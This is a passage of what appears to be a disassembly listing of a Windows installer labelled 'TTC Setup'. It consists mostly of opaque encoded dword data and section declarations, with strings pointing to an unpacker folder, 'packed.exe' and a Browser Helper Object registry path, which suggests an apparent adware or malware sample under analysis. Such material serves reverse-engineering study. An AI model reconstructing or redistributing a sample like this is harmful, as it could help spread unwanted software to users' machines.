0E8F714EEh, 3095E5B7h, 0F943BE2Bh, 2794BE53h dd 50F945E5h, 8AB7481Eh, 94F4A0F2h, 9908D296h, 79670E79h dd 23CB1E7Eh, 0D988BCA5h, 0E59D0AB2h, 8E5FA215h, 2EC4BF3Dh dd 0DC9CB23Ah, 0C25A5196h, 0A29D323Ch, 0B4A0E799h, 53E28E94h dd 0E1438A3Ch, 0A30E1842h, 3B396AE4h, 3BC58F65h, 3699C916h dd 7A9A2641h, 0B5B59C8Dh, 9251A942h, 0A5C78039h, 0A21166Bh dd 0A6D25271h, 0ECD15209h, 0C79C371Ah, 50C2FB65h, 0D813338Ah dd 0E35D9A22h, 5B8F046h, 1970BF64h, 2E999078h, 0AECD139Ch dd 0B8B24771h, 70B7760Ah, 0B3327116h, 64338593h, 8B7724E6h dd 55C5913Bh, 11A7B8B2h, 8CD67927h, 8616EB5Eh, 9EB96903h dd 8A49C3B7h, 1C21999Bh, 9C919985h, 3C6EBDDBh, 0A6DD5FAEh dd 77110708h, 0F2F7724Ah, 904883F6h, 475CB17Ch, 9388FDF6h dd 0EC209C94h, 2B309985h, 0FEDC5BABh, 0EC81AE3Ch, 0D30CA9BBh dd 2C6D8412h, 0F2F7666Eh, 0BCACB8F2h, 0D3BCAC55h, 385BAD7Ah dd 0DE57EB8Fh, 6912A144h, 0F7BA1312h, 9346185Bh, 0EDFEE42h dd 98628553h, 0BA32B353h, 0FAE3CBE7h, 2C299BE5h, 0BB537CA4h dd 0F41845F7h, 0FED42842h, 590A26F9h, 5A667714h, 5C797CF7h dd 85D37CBFh, 9F4DC454h, 0E82FBDD5h, 40452141h, 0F10825BFh dd 0D43D6D30h, 43DE3FADh, 6FB40453h, 798720A6h, 0A08A4247h dd 0F302E956h, 0F2FD71E5h, 0A9A2124Dh, 6F77A6FFh, 4F103087h dd 659B4065h, 0D998520Bh, 2FB43DC9h, 3293E34h, 10BA61DAh dd 0BD30ED42h, 0E184EE3Bh, 40656961h, 1D0A66DDh, 0E4B75097h dd 4EE3DD99h, 0F280DC40h, 11E70A66h, 0D4E66137h, 54E171EEh dd 5379405h, 4CC235AFh, 0AE3DD59Ch, 0CA03711Ah, 5EB42E9Bh dd 0A1EE3EA2h, 0DC47ABCh, 0A16CEF28h, 0E1677105h, 5C5BA01Ch dd 2A94C30h, 70877BCAh, 43D6EA92h, 795E5B5Ch, 0A72712DEh dd 9DCAB377h, 58589ACCh, 37444C54h, 2F33B179h, 485CB4BFh dd 0A7625F28h, 0D0CA3983h, 0B2772F66h, 0E2D29F7Bh, 8A8BE5D2h dd 0EDB237D8h, 4ED5F625h, 9239317Bh, 63D5314Ah, 0CD91297Ah dd 173997B4h, 8D071261h, 0A3A752Ch, 0E5050965h, 0C4DFE7F0h dd 0E96C29C1h, 0FD904ACEh, 12F96752h, 83C70FCAh, 462C99B2h dd 0C722CAE6h, 31797B6Ah, 0A984FECEh, 961BAC4Eh, 13BCB1E7h dd 0C29F2E91h, 8A4AF2CBh, 13650A2Ah, 0F9A51965h, 65931738h dd 0E6C07162h, 39470A8Eh, 9B8A38E6h, 18A4B25Ch, 7C1FB871h dd 20D62A6h, 0B14C2F92h, 72292F17h, 59BCC72Eh, 0D4B8B459h dd 2530979Bh, 17AB02AFh, 0DF3DB6FAh, 0F24DC25Eh, 676C5B4Fh dd 0AA4D10E5h, 5E7DE80Eh, 993B62C9h, 8C9A12F6h, 584A8A52h dd 2F2C981Ch, 674459E4h, 6672BECFh, 88B67EE1h, 792C5B66h dd 0C3C36178h, 93F78447h, 43C2436Ah, 87048627h, 0A1A54B84h dd 7E3B4323h, 8C627F41h, 7539805Dh, 0DCE14CCAh, 0D30B842Fh dd 0DE64B384h, 0FA2C5A01h, 0A3CD149Fh, 27A5A730h, 53300D09h dd 0EC2A9F6Fh, 0E91DF725h, 0DCD11EC2h, 22DFA62Eh, 10BF359Ah dd 6B09A40Eh, 7EDA217Eh, 0BFC50BBh, 610B9F1Fh, 0A67D3EDEh dd 49DD1360h, 330E5BA2h, 10BA6B2Bh, 9EFF2BF5h, 54AEFC4Ch dd 0AFE4672Ch, 6D6274DCh, 0C89FCF61h, 616977CEh, 6197BA20h dd 0BA5F94A5h, 0B8CD771Ch, 9AECC679h, 0AB05BB2Fh, 4B7945C1h dd 82BB42E8h, 32E26270h, 44F2E3ACh, 3F179E7Bh, 17E65B98h dd 2B0BF326h, 0B7915D2Eh, 4E74F70Ch, 74A3B97Bh, 62753962h dd 0C5C4F959h, 613D1C85h, 25ED7997h, 0B12BC310h, 0DAB89CAFh dd 0A7FAC79Eh, 964B4B0h, 7C42593Eh, 0C5A58567h, 3E096FCCh dd 0C22D90E2h, 99F7889Ah, 0FE43781Dh, 0D9DB578Bh, 9993C33Ah dd 0FC4E0627h, 0A211453Dh, 793B22A0h, 44212CDAh, 0DC0BCF34h dd 4CCCB3Ch, 69CC0CE1h, 538453E9h, 9C289DCCh, 6A477984h dd 0CCCCD0AAh, 53FDC34h, 85325FA1h, 36FFA2BDh, 86235DD1h dd 96773197h, 27CC50B0h, 5E3FCC5Dh, 0CCCE5FCCh, 0CC462174h dd 29CCCA5Fh, 33253A90h, 49D0B84Dh, 0C136F874h, 843BCCCDh dd 2E9C9D53h, 966667EFh, 539987B0h, 9CCCED85h, 0CD116C25h dd 0EF3E4EAAh, 0F9F27596h, 9F276E6Ch, 0F93BD227h, 0E4EE643Ch dd 332C6D73h, 66488513h, 0CC210BA6h, 5C2E14CCh, 9FEFB095h dd 95969985h, 9CC0B429h, 2A3A7C06h, 3998FB9Ah, 0D306D84Dh dd 0A8453596h, 0AA69CAB9h, 84539983h, 169CABFCh, 1A72AEDAh dd 0E7CABE6Eh, 3E55D934h, 72AF4857h, 2BF1DABAh, 0D0C999h dd 0D3D2E7C6h, 8E154CCCh, 18D7CAFEh, 73E57FFBh, 0A6660EF7h dd 0E57E5B09h, 5F9AD873h, 0FE2C4D39h, 5CFDD395h, 5212CE66h dd 5574E57Fh, 679F2BFDh, 71A57E62h, 0FF442292h, 0E345EBCAh dd 0F22BDA80h, 524EDE57h, 805674D1h, 0EF881243h, 0AC565E04h dd 0E38B622Ch, 263F4E0Ah, 0A1B48816h, 8982D382h, 0A568FC2Bh dd 0D229CFC7h, 0E39B8F5Dh, 0B6E18CB6h, 0BBA44FD7h, 0DD1FB75Eh dd 0BA71F9F6h, 1D1371EAh, 0E2FCB166h, 0D314672Ch, 10744DCFh dd 0C6E3D184h, 9677C918h, 0E7F855E7h, 68FC4BBh, 0B8ECFC7Bh dd 5E2BC9CFh, 0AF07E6C1h, 785F389Fh, 0B9DEF9DCh, 173BDCA0h dd 3316C278h, 9287CF7Ah, 0A737CFCFh, 0B9C4FD78h, 545EE3C8h dd 2B45C5Ah, 3CEE3C51h, 0F689B9BFh, 7B496888h, 0EE227D85h dd 611756EFh, 74612826h, 0A57CB4A0h, 131C097Dh, 5EC1564Bh dd 6FC02CB1h, 0D432E951h, 0F11E202Dh, 226839CFh, 0E9E89929h dd 5672A2CFh, 11567143h, 3E6C2584h, 0DC7B06F1h, 9A537EC5h dd 64370FD7h, 6F783B0Eh, 0A21FA0ECh, 969F1E5Fh, 3602844Ah dd 11F2F887h, 88F901DDh, 0FA698B7Eh, 88B34BF3h, 0AC2A32A6h dd 8489AA58h, 9FBB3E87h, 0DD9F32FFh, 0F9578B4Bh, 0AC27B168h dd 0F8F5AD2Bh, 0D8F51D13h, 28C30297h, 2A2EE3D8h, 0C0ED7BB7h dd 8B45A2B6h, 7E2579ECh, 3CB70969h, 0FB181476h, 1A185F4Fh dd 74E767C1h, 0BE57F595h, 3D5FE1D3h, 53A98346h, 0D459BE1Dh dd 55A747EBh, 0BB78E879h, 0A28ABC5Fh, 283D38E5h, 0CC76C228h dd 5FB447EBh, 3F1EFD24h, 82850132h, 0CE8961B7h, 0F3CD5F8Bh dd 0EBE025ACh, 0F75F9B29h, 3D64FD7Bh, 6DBDB1F8h, 484DA2h dd 0D9E2F34Ch, 0D1EE2F34h, 3D77A7Eh, 1F1FE912h, 0FBAFEDF0h dd 0E91243Dh, 0BFDF8878h, 0F6B982ADh, 0E15DDF21h, 0CF0247CAh dd 0D1ECB0Bh, 0DC7E0F74h, 0E7736F77h, 7B74BE63h, 178C0F1Fh dd 0F740FBF9h, 0DCF83FF6h, 91293D1Fh, 4F24FA7Eh, 2243B2DBh dd 0DB83B33Dh, 5E09DE9Fh, 0B3F60007h, 7762D6D8h, 0F62E4D8Bh dd 0D2F2D8BAh, 0BDED97CEh, 0AEC69DB1h, 0EC6B9B1Ah, 0C6D5B1B1h dd 6F1B1B8Eh, 0DB1BFECh, 369C6EC7h, 0AE77EE5h, 48927F61h dd 0EFC9FD07h, 9C19F3BCh, 0BFC33E77h, 0F57705B5h, 690527B6h dd 0FE57CC0Bh, 40567B8Ah db 4Ch dword_42A1DD dd 9BE920DFh ; DATA XREF: start+241r sub_403849+3Cr ... db 0C2h, 1, 0 align 8 dword_42A1E8 dd 100h dup(0) ; DATA XREF: start+1FEo byte_42A5E8 db 0 ; DATA XREF: start+1F9o start+209w byte_42A5E9 db 3 dup(0) ; DATA XREF: start+1F4o dd 1FFh dup(0) dword_42ADE8 dd 0 ; DATA XREF: sub_4044FB+B0r ; sub_4044FB+1BCw ... dword_42ADEC dd 0 ; DATA XREF: sub_404AE3+6r ; sub_404AE3+28w ... dword_42ADF0 dd 0 ; DATA XREF: sub_4044FB+141w ; sub_4044FB+15Bw ... dword_42ADF4 dd 0 ; DATA XREF: sub_4044FB+3ADw ; sub_404B17+155r ... byte_42ADF8 db 0 ; DATA XREF: sub_405CAC+21o ; sub_405CAC+C9w align 4 dd 1FFh dup(0) dword_42B5F8 dd 0 ; DATA XREF: sub_4041E1+179w ; sub_4041E1+1A3r ... dword_42B5FC dd 0 ; DATA XREF: sub_40526B+B1w ; sub_40526B+C0r ... dword_42B600 dd 0 ; DATA XREF: sub_404B17+115w ; sub_404B17+149r ... dword_42B604 dd 0 ; DATA XREF: sub_4044FB+195w ; sub_4044FB+1E4w ... dword_42B608 dd 100h dup(0) ; DATA XREF: sub_404E2A+194o dword_42BA08 dd 0 ; DATA XREF: sub_404E2A:loc_404F78w ; sub_404E2A+2BEr ... dword_42BA0C dd 0 ; DATA XREF: sub_40526B+A1w ; sub_405BC5+D5r dword_42BA10 dd 0 ; DATA XREF: sub_40526B+73w ; sub_40526B+1FFr ... dword_42BA14 dd 0 ; DATA XREF: sub_4044FB+1B0w ; sub_4044FB:loc_40482Cr ... dword_42BA18 dd 400h dup(0) ; DATA XREF: sub_4044FB+33Co ; sub_404E2A+DEo ... dword_42CA18 dd 0 ; DATA XREF: sub_4020E9:loc_4035C3r ; sub_4044FB:loc_404977r ... dword_42CA1C dd 0 ; DATA XREF: sub_404E2A:loc_4050A3o aCDocume1SriU_3 db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\*.*',0 ; DATA XREF: sub_406253:loc_406288o dd 0F4h dup(0) aC db 'C:\',0 ; DATA XREF: sub_4064B0+6o aOcume1 db 'OCUME~1',0 aSriUser db 'SRI-user',0 aLocals1 db 'LOCALS~1',0 aTemp_0 db 'Temp',0 aNsy2_tmp db 'nsy2.tmp',0 dd 0F5h dup(0) dword_42D220 dd 44h ; DATA XREF: sub_40618A+9w ; sub_40618A+2Bo dd 11h dup(0) dword_42D268 dd 10h, 274B1BA0h, 1C73902h, 0C5D75800h, 1C73872h, 2792D300h ; DATA XREF: sub_406BAB+10o dd 1C73902h, 2 dup(0) dd 242B38h, 0 aDocumentsAndSe db 'Documents and Settings',0 align 4 dd 3Bh dup(0) aDocume1 db 'DOCUME~1',0 align 8 dword_42D3A8 dd 100h dup(0) ; DATA XREF: sub_406606+A0o ; sub_406606+145o dword_42D7A8 dd 100h dup(0) ; DATA XREF: sub_406606:loc_406682o dword_42DBA8 dd 0 ; DATA XREF: sub_406606+3Ew ; sub_406606+4Fo dd 105h dup(0) aCall_0 db 'Call',0 ; DATA XREF: sub_4041E1+43o ; sub_4041E1+57r ... aCume1SriUser_0 db 'CUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\System.dll',0 aEr32 db 'er32',0 aElperObjects7b db 'elper Objects\{7B4DD627-E555-4373-AA84-4E5241613B7A}',0 align 4 dd 1E3h dup(0) dword_42E7C0 dd 0 ; DATA XREF: sub_4041E1+EAo dword_42E7C4 dd 0 ; DATA XREF: sub_4041E1+10Dw align 10h dword_42E7D0 dd 0 ; DATA XREF: sub_4041E1+117w dword_42E7D4 dd 0 ; DATA XREF: sub_4041E1+FBw dd 3 dup(0) dword_42E7E4 dd 0 ; DATA XREF: sub_4041E1+11Dw ; sub_4041E1+1EDw dword_42E7E8 dd 0 ; DATA XREF: sub_405CAC+68r ; sub_405DE5+75w dword_42E7EC dd 0 ; DATA XREF: sub_4020E9:loc_402159w ; sub_4041E1+236r ... dword_42E7F0 dd 0 ; DATA XREF: sub_4020E9:loc_40223Br ; sub_405DE5+66w ... dword_42E7F4 dd 0 ; DATA XREF: sub_40201D+5Cr ; sub_405DE5+99w dword_42E7F8 dd 0 ; DATA XREF: sub_4044FB+67r ; sub_4044FB+77w ... dword_42E7FC dd 14AED5h ; DATA XREF: sub_404440+72w ; sub_404440:loc_4044B8r ... dword_42E800 dd 0 ; DATA XREF: sub_4041E1:loc_4043E1r ; sub_404440+60w ... dword_42E804 dd 0 ; DATA XREF: sub_4020E9:loc_402252r ; sub_405CAC+6r ... dword_42E808 dd 200A5h ; DATA XREF: sub_4041E1+E1w ; sub_4044FB+1C6r dword_42E80C dd 0 ; DATA XREF: sub_40201D+56w ; sub_40201D+72r ... dd 4 dup(0) aTtcSetup db 'TTC Setup',0 ; DATA XREF: sub_401E32+150o start+2Co ... align 4 dd 1FDh dup(0) dword_42F020 dd 400000h ; DATA XREF: sub_4038D5+27r ; sub_4038D5+158r ... dword_42F024 dd 0 ; DATA XREF: sub_401E32+19r ; sub_4020E9+19r ... dword_42F028 dd 14A560h ; DATA XREF: sub_401E32+39r ; sub_4020C0+4r ... dword_42F02C dd 7E00h ; DATA XREF: sub_4020E9+1335r ; sub_4038D5:loc_403953r ... dword_42F030 dd 88h ; DATA XREF: sub_4038D5+25Aw ; sub_4041E1r ... dword_42F034 dd 0 ; DATA XREF: sub_4038D5+261w ; start+15Er align 10h dword_42F040 dd 14A680h ; DATA XREF: sub_4038D5+28Bo ; sub_4044FB+1F6r dword_42F044 dd 0 ; DATA XREF: sub_4044FB+9Er ; sub_4044FB+249r ... dword_42F048 dd 14A680h ; DATA XREF: sub_4020E9+140Ar ; sub_4051F5+6r ... dword_42F04C dd 1 ; DATA XREF: sub_4020E9+13FEr ; sub_4051F5r ... dword_42F050 dd 14A698h ; DATA XREF: sub_40201D+Cr dd 2Dh dword_42F058 dd 14AB84h ; DATA XREF: sub_4041E1+3Er ; sub_404B17:loc_404B48r ... align 10h dword_42F060 dd 14AECBh ; DATA XREF: sub_404440+41r dword_42F064 dd 1 ; DATA XREF: sub_404440:loc_404467r dword_42F068 dd 14AF6Dh ; DATA XREF: sub_4020E9:loc_4029C7r align 10h dd 14A560h, 0 dword_42F078 dd 81E5h ; DATA XREF: sub_403B73+36r align 10h dword_42F080 dd 0 ; DATA XREF: sub_4020E9+9r ; sub_40526B+66w ... dd 7 dup(0) dword_42F0A0 dd 0 ; DATA XREF: sub_4020E9+118w ; sub_4020E9:loc_40222Er ... dword_42F0A4 dd 0 ; DATA XREF: sub_4068D5+134r dword_42F0A8 dd 0 ; DATA XREF: sub_4020E9+492w ; sub_4020E9:loc_402586w ... dword_42F0AC dd 0 ; DATA XREF: sub_4044FB+132r ; sub_4044FB+2B9r ... dword_42F0B0 dd 0 ; DATA XREF: sub_406606:loc_406783w dword_42F0B4 dd 0 ; DATA XREF: sub_4020E9:loc_402F72w ; start:loc_4040FFr dword_42F0B8 dd 0 ; DATA XREF: sub_40526B+129r ; sub_40526B+534r ... dword_42F0BC dd 0 ; DATA XREF: sub_4020E9+148Dw ; sub_40526B+2C1r ... dword_42F0C0 dd 8 ; DATA XREF: sub_4038D5+253w ; sub_4041E1+195r ... dword_42F0C4 dd 0 ; DATA XREF: sub_404E2A+28Cw dword_42F0C8 dd 0 ; DATA XREF: sub_404440+69w ; sub_406202:loc_40621Cr dword_42F0CC dd 0FFFFFFFFh ; DATA XREF: start:loc_403FD0w ; start:loc_4041A4r dword_42F0D0 dd 1 ; DATA XREF: sub_4020E9+BD8r start+31w ... _data ends ; Section 4. (virtual address 00030000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 00030000 ; Flags C0000080: Bss Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read/Write _ndata segment para public 'BSS' use32 assume cs:_ndata ;org 430000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing a7b4dd627E55543 db '{7B4DD627-E555-4373-AA84-4E5241613B7A}',0 ; DATA XREF: sub_40201D+2Eo ; sub_4020E9+36o ... a_tmp db '.tmp',0 dd 0F5h dup(0) dd 6F6E656Dh, 6C6C642Eh, 12FEh dup(0) byte_435000 db 70h ; DATA XREF: sub_403DE8+28o ; start:loc_403E99o ... byte_435001 db 61h, 63h, 6Bh ; DATA XREF: start+B3o db 65h ; e db 64h, 2Eh, 65h db 78h ; x db 65h, 0, 5Ch aSriUserLocals1 db 'SRI-user\LOCALS~1\Temp\nsi1.tmp',0 dd 0F5h dup(0) byte_435400 db 0 ; DATA XREF: sub_4020E9:loc_4033DEo ; start+144o ... align 4 dd 0FFh dup(0) aCProgramFilesC db 'C:\Program Files\Common Files',0 ; DATA XREF: sub_4020E9+1FDo ; sub_4020E9:loc_40247Do ... align 10h dd 0F8h dup(0) aCM_unpacker db 'C:\m_unpacker',0 ; DATA XREF: sub_4038D5+1Ao aPacked_exe db 'packed.exe',0 align 4 dd 0F9h dup(0) byte_436000 db 31h ; DATA XREF: sub_404440r ; sub_404440+10o db 30h, 2 dup(33h) dd 0FFh dup(0) aCDocume1SriU_1 db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\',0 ; DATA XREF: sub_403DE8+1o ; start+3Bo ... dd 0F7h dup(0) aCDocume1SriU_2 db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\nsy2.tmp\',0 ; DATA XREF: sub_4041BC+1Ao aYstem_dll db 'ystem.dll',0 align 4 dd 1F2h dup(0) dword_437000 dd 400h dup(0) ; DATA XREF: sub_4044FB+27Co _ndata ends ; Section 6. (virtual address 00039000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00039000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 439000h align 2000h _idata2 ends end start